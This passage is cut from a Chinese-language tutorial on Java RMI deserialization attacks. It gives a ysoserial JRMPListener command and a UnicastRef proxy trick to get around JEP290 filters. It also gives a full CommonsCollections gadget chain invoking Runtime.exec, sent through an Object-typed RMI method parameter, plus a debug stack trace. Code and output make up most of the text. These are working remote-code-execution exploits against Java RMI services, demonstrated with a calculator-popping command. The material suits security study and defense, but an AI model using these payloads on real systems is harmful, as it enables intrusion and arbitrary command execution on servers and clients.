JAVA RMI反序列化知识详解
2009 年 2 月 17 日
和payload发起RMI Registry请求代码是一样的。
先用ysoserial启动RMI registry java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"
然后把这个payload放在服务端bind看下
ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1199); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{ Registry.class }, obj); registry.bind("hello", proxy);
在服务端执行RMI registry的计算器就弹出来了,debug RMI registry代码看下.
调用栈
read:291, LiveRef (sun.rmi.transport) readExternal:489, UnicastRef (sun.rmi.server) readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) dispatch:76, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:468, UnicastServerRef (sun.rmi.server) dispatch:300, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 168016515 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
原理就是利用在白名单的UnicastRef类来发起一个RMI连接,在高版本jdk下ysoserial的JRMPListener依然可以利用.
用Object绕JEP290限制
JEP290只是为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器,在RMI客户端和服务端在通信时参数传递这块是没有做处理的,而参数传递也是基于序列化数据传输,那么如果参数是泛型的payload,传输依然会有问题。
先把接口都新增一个sayPayload的方法,参数都是Object类型的
import java.rmi.Remote; public interface HelloInterface extends java.rmi.Remote { public String sayHello(String from) throws java.rmi.RemoteException; public Object sayPayload(Object from) throws java.rmi.RemoteException; }
在把服务端HelloImpl代码改下,去实现这个方法。
import java.rmi.server.UnicastRemoteObject; public class HelloImpl extends UnicastRemoteObject implements HelloInterface { public HelloImpl() throws java.rmi.RemoteException { super(); } public String sayHello(String from) throws java.rmi.RemoteException { System.out.println("Hello from " + from + "!!"); return "sayHello"; } public Object sayPayload(Object from) throws java.rmi.RemoteException { System.out.println("Hello from " + from + "!!"); return null; } }
客户端在调用这个sayPayload方法时直接传payload看下
public class HelloClient { public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(1099); HelloInterface hello = (HelloInterface) registry.lookup("hello1"); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); Field valfield = poc.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(poc, entry); hello.sayPayload(poc); } catch (Exception e) { e.printStackTrace(); } } }
执行后服务端计算器直接弹出,如果把这个payload作为sayPayload方法的返回值 客户端计算器也会弹出。
看下反序列化的地方
sun.rmi.server.UnicastRef#marshalValue